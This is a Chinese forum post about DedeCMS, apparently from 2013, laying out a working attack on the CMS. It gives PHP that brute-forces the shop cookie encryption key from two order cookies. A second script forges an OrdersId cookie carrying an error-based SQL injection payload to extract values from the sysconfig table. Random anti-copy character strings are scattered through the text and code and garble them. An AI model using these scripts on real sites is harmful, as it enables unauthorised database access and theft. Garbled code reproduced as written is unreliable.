找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2020|回复: 0
打印 上一主题 下一主题

织梦CMS漏洞dedecms漏洞SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-13 23:58:29 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
www.xxx.com/plus/search.php?keyword=& y3 @( ?, y# i$ E3 O8 K& O0 m" b
在 include/shopcar.class.php中
# E* }  T3 e* c6 y: B: s- A* }先看一下这个shopcar类是如何生成cookie的
$ b) U; R; E9 K239      function saveCookie($key,$value)( _3 h7 i6 I. w* ?8 ]3 R* S3 h4 N
240      {
' r7 N. _$ g7 |) f6 c241          if(is_array($value))7 A. S/ J' k9 Y# C. S
242          {
$ P, P" t3 z2 ^: ]/ E243              $value = $this->enCrypt($this->enCode($value));6 E% U5 K* i4 ^" g# C( ^$ V' F
244          }  @' {% \  g, o& m
245          else6 L7 D3 K' c$ @
246          {. s0 Y6 y: p* i
247              $value = $this->enCrypt($value);9 [. X- N* }# q* t4 O) V. p/ h
248          }3 I  k* S2 K9 C9 N6 Y- g8 W3 u
249          setcookie($key,$value,time()+36000,’/');
" b$ f! j7 Y/ F* A! D" Y1 s& s250      }
0 R+ N. c6 y4 z$ L# y+ W, o. q. o简单的说,$key就是cookie的key,value就是value,enCode的作用是将array类型转变为a=yy&b=cc&d=know这样的类型,关键是enCrypt函数
- L! B% V0 v5 J+ u- }+ c  g4 Y186      function enCrypt($txt)% Z5 c' k: e  f5 _& S2 H
187      {$ R, }, l. M! N$ u% G
188          srand((double)microtime() * 1000000);" w4 d; J( i' i: b. O$ N
189          $encrypt_key = md5(rand(0, 32000));
; a* t4 r- r# D8 S: g% Y( n190          $ctr = 0;2 [$ F: ^+ t& c( v
191          $tmp = ”;
3 I/ ?# A! M- r5 c192          for($i = 0; $i < strlen($txt); $i++)
- w6 x/ U$ ?7 ^7 j3 P193          {0 L' w( X# W' o- A/ r- s! {
194              $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
6 b# [, a# g3 {, F; M195              $tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
+ v4 C! F8 f# M0 Z" n* X4 }196          }
  U6 m5 I1 h1 ?( n# n3 j+ o# ?197          return base64_encode($this->setKey($tmp));& b) J2 k5 r8 E7 C' @: z' f2 M
198      }, L5 f: m& w# A2 J8 `& l
213      function setKey($txt), e+ E' `3 y; G! n5 I7 _
214      {9 Y! ]  X* K! b5 l. g! @8 U# Y+ |' k: T
215          global $cfg_cookie_encode;
  p* p0 u# W* C& q8 o216          $encrypt_key = md5(strtolower($cfg_cookie_encode));
7 a4 h+ t( i; y3 a7 w" \: x217          $ctr = 0;! e* c1 f, c4 ~, Z' G9 p& K
218          $tmp = ”;9 u" A5 r: q. l; I
219          for($i = 0; $i < strlen($txt); $i++)
4 N& d: m9 {# F% r8 T* x220          {
4 W! e0 ^# y1 b) d/ W7 K2 b1 g221              $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
4 T) J) B: V/ d" a' [1 k/ ^222              $tmp .= $txt[$i] ^ $encrypt_key[$ctr++];. P$ }! B$ `. q; n3 x. K* {- r
223          }
6 G2 E& l2 M! O224          return $tmp;
: B. U8 w: f: k; p- w225      }
1 w6 F! ]6 t$ T7 l! ienCrypt的参数$txt 我们是可知的,返回值就是cookie的值,这个我们也是可知的
8 r8 D- M. _- P% @" ?# Q2 K9 R然后到了enCrypt调用 setKey时的参数$tmp,这个参数在某种意义上,我们也是可知的,因为$encrypt_key = md5(rand(0, 32000));只有32000种可能,我们可以推出32000种可能的$tmp,从而推出32000种可能的md5(strtolower($cfg_cookie_encode)),对了,忘记说了,我们的目的是推测出setKey中$encrypt_key的值,然后才能任意构造出购物车的cookie,从推出的32000种md5(strtolower($cfg_cookie_encode)),简单过滤掉非字母数字的key,就只剩下几百个可能的key,然后我们再从新下一次订单,然后再获取几百个可能的key,然后取交集,得到最终key。
1 I; L. N  z) V# b5 W具体代码如下:
5 B$ _% q5 H# N8 }& X<?php
# F4 A5 m6 F' ~7 X& B$ q# s0 ~$cookie1 = “X2lRPFNlCmlWc1cvAHNXMABjAToHbVcyB3ZXJFIwA20LIAlzU2ULPARyAmQGIVU5VyJbfFVsBiYNN1dsUG0DIl90UTFTLAo3VjBXYgBvVzgAZAEqBz9XagclVzBSbw==”; // here is the first cookie,change here4 q, Q7 @* @2 H3 E0 U3 A$ Q* v
$cookie2 = “ADYCb1RiBmUDJghwUyAFYlIxW2BROwhtVCUIe1AyC2UOJVMpADYBNgJ0AmRUcw5iAncAJ1JrCSlQalBrAj8CIwArAmJUKwY7A2UIPVM8BWpSNltwUWkINVR2CG9QbQ==”; // here is the second cookie ,change here# u4 R7 u' {( r, i
$plantxt = “id=2&price=0&units=fun&buynum=1&title=naduohua1″; // here is the text , change here
) S- u* W: `3 `' G3 y* t  zfunction reStrCode($code,$string)
  y8 y) F/ U5 {) X3 ~! k{
& \, ?* V2 \. R8 P  r5 o- d! H& h$code = base64_decode($code);
, J- Z0 F6 ^, T: ~  \$key = “”;" |4 o, ]* d" [: M6 l
for($i=0 ; $i<32 ; $i++)* }+ K2 \( g7 q1 b, w. v3 N
{' A4 a& @" a# x1 e7 @
$key .= $string[$i] ^ $code[$i];) f3 Z$ U$ D0 s4 L
}& E) j( R/ G7 [# I
return $key;. \' K! V! V+ g% f! t
}5 v1 y2 v: j. P+ F( y
function getKeys($cookie,$plantxt)9 u# {3 X1 i4 V8 x& i6 K- d' {+ q% G
{
# j4 `% u4 r! x' e0 N4 l, G$tmp = $cookie;
6 s5 P. B1 B* D- \& b$results = array();
$ p$ P* i' ^) T% d9 S1 xfor($j=0 ; $j < 32000; $j++). E! R* Q# h" Y, i1 t* z
{
( h) p$ C  I; D& Q( w' E3 C% I" B6 E5 [6 K+ B
$txt = $plantxt;
2 D% b! {2 [- s' C' ]) f) u$ctr = 0;4 q6 t- ^7 r7 u4 e2 L) y
$tmp = ”;
9 Z- Y, x7 l2 l  ^0 v/ Y5 I0 Z$encrypt_key = md5($j);
$ }+ K1 I% a5 ^: qfor($i =0; $i < strlen($txt); $i ++): w/ r# G; T, _
{" ^+ N0 h5 Z$ j9 {( b
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;: j$ ^) G/ U: I( e
$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
+ ^3 |3 q0 i0 p}9 k2 O1 J( c# }9 I9 C+ j. V
$string = $tmp;
4 ^/ L( B6 o8 N0 B) m$code = $cookie;
4 V8 ?/ |; P7 F( p6 N$result = reStrCode($code,$string);
- |1 u1 `1 ~$ F8 cif(eregi(‘^[a-z0-9]+$’,$result))
. \  i; {! v" [2 z8 L/ F! r+ ?1 w  X{; H( a$ i& N# N3 k" Z) D6 j
echo $result.”\n”;& `! r* Z6 m  x0 r
$results[] = $result;
5 ]8 r( ]4 f2 E3 n5 O8 f0 A}
3 S" p: _( O8 X. Q3 J8 z* a}
  U: ?: l; |/ |* _# Kreturn $results;
* l( T9 B  Z  U# {( j) k9 e}0 P( z: {" V  l0 Q  l! a/ e8 o
$results1 = getKeys($cookie1,$plantxt);
& F8 W3 {& u2 l% z8 O  X$results2 = getKeys($cookie2,$plantxt);; t1 q5 [( |3 L7 c3 E  T
print “\n——————–real key————————–\n”;) f, m2 ]0 \0 s; \8 i
foreach($results1 as $test1)
6 q% z/ E" ]" G{
- r: g3 ?9 a* R4 F. O. Eforeach($results2 as $test2)$ `8 g( o8 b; s% z$ _
{
, ^) v  j* h1 J. h( o( Zif($test1 == $test2)
7 e% E: G  {5 c{  F7 V1 }" t. g; C  Y
echo $test1.”\n”;
: x& P3 b' A- a  `2 J2 q$ S+ \$ @5 I}( D( y+ `! G# J' M: \& z! b( ]
}0 h! G) ^. R* ^. q9 s( f
}
+ W3 t) F( t% E3 E) E$ r?>- k  A. n! p" V& ~  {" k3 d
cookie1 和 cookie2 是我下了两次订单后分别生成的cookie,4 m9 _7 {: p+ L2 ?0 F% Q
plantxt可以根据页面来自己推算,大概就是这个格式:id=2&price=0&units=fun&buynum=1&title=naduohua1) ~1 e& o. y9 h3 X
然后推算出md5(strtolower($cfg_cookie_encode))
. ^& v/ A* m7 o% b0 a' v得到这个key之后,我们就可以构造任意购物车的cookie* W' C- ]- j9 q% B2 o$ l
接着看/ s$ ~5 g2 W$ [5 T
20  class MemberShops
$ d0 j* U9 M( T7 b21  {4 E1 t! J% X* j' A0 a$ k& O7 b
22      var $OrdersId;
/ R) Y% G& w8 p: Q( T: M23      var $productsId;0 X) F! E2 t% w' i# P7 G  ^
24/ y5 T# Z4 a1 l, x
25      function __construct()" ^: S0 a+ y1 l5 j: z5 ]
26      {$ ?! o3 H% z2 D* o
27          $this->OrdersId = $this->getCookie(“OrdersId”);
' N# A8 s" W' ?7 r" x28          if(empty($this->OrdersId))# e2 ^$ b4 c, c- n6 e  a; Q
29          {4 M6 Y' h7 Z# M3 y" @- Y7 ]. y
30              $this->OrdersId = $this->MakeOrders();
) Z7 Z+ H# w  F" `31          }( \. J& ?/ G$ R3 }" r. d
32      }
/ M5 Q4 ~  l" ~# b3 p7 d( ]& _* P发现OrderId是从cookie里面获取的! h3 F; w" _$ F6 l& y
然后
; @' F5 M' u: A- K, k) I: [. |/plus/carbuyaction.php中的
$ {6 v7 T) a* v" B: `29      $cart    = new MemberShops();. G  \* Z! Y( I, o$ ?2 @8 y) O
39      $OrdersId = $cart->OrdersId;        //本次记录的订单号2 p2 j6 n' E! t. u& q
……% \. L& K& }# t
173          $rows = $dsql->GetOne(“SELECT `oid` FROM #@__shops_orders WHERE oid=’$OrdersId’ LIMIT 0,1″);" G! C% X  v+ I/ x  e" u
接着我们就可以注入了/ N6 S* ?) s! R: ~  _; G8 n. ^! g
通过利用下面代码生成cookie:9 |' _4 V( T' C- r% Z& V% }$ E
<?php# @( \% P" Y0 [6 r
$txt = “1′ or 1=@`\’` and (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((select value from #@__sysconfig where aid=3),1,62)))a from information_schema.tables group by a)b) or 1=@`\’` or ’1′=’1″;
- |* ?( p, @5 ?& m* b$encrypt_key = “9f09293b7419ed68448fb51d5b174834″;   // here is the key, please change here: u! g4 {5 K: b' B) X
function setKey($txt)
7 P2 T; {" o+ p{' C+ o+ r7 n+ h3 @; f
global $encrypt_key;
7 [; w$ s  A0 G1 I6 Y$ctr = 0;
0 m* `$ A4 |" x5 u9 m  u( h$tmp = ”;
/ V) E$ L8 u4 h) Kfor($i = 0; $i < strlen($txt); $i++)/ B1 D% n' E3 w2 A. Y  b7 d9 A% K1 y
{9 g$ Q1 V0 V% y( W
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
! f' e/ Q" {+ C# O4 Z" s' f: O$tmp .= $txt[$i] ^ $encrypt_key[$ctr++];" u9 |! p% c0 L3 ]
}9 c6 @5 P* Q7 v2 t
return $tmp;
8 r7 i5 L! ?1 f9 c" [! w* d}
, d* p6 x- ~0 |5 R. G! ]' kfunction enCrypt($txt)# E" G1 S" \$ k& s2 U  I
{
% [1 ^7 N  |0 x7 T- `, M$ Z$ ysrand((double)microtime() * 1000000);
3 U4 N' {% B6 a) N* w3 k$encrypt_key = md5(rand(0, 32000));
) S2 K8 Z- m( Q$ctr = 0;
. x5 H; C4 y% Z. @: K$tmp = ”;
' J8 g5 }  \0 u+ x" y8 Wfor($i = 0; $i < strlen($txt); $i++)+ h/ }" ]( `+ \# [# A! `
{
4 \$ w* n& m$ E( [9 B& H$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;0 \. K( I* ]( i' K0 k) w. U' P
$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);! }$ ?7 H) J* T$ T$ n
}
3 i: S4 I, _& G2 creturn base64_encode(setKey($tmp));9 [2 f% M/ @  U& E8 t: E, d
}
% ?( h* I! r& c4 O' S' Kfor($dest =0;$dest = enCrypt($txt);)! z+ B) a1 a+ m: d$ a
{
& C$ A4 t  g* v  ~if(!strpos($dest,’+'))4 |4 f8 Z1 L/ Y0 A& S) N6 L
{
/ y4 k# Z" u1 V- k: Cbreak;
6 L: D8 H: z* d( m}
2 J/ `, H- X/ G. Q5 b& A6 p}7 s9 d7 x: y7 h: [$ @' j
echo $dest.”\n”;
: c  ^; j. o/ u" R* `3 N2 Z?>
7 Q; R3 r4 _( b* m8 g$ G) Y% `$ i" ]& \$ `) [( b: Z8 n6 K) G; ]9 w2 @
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表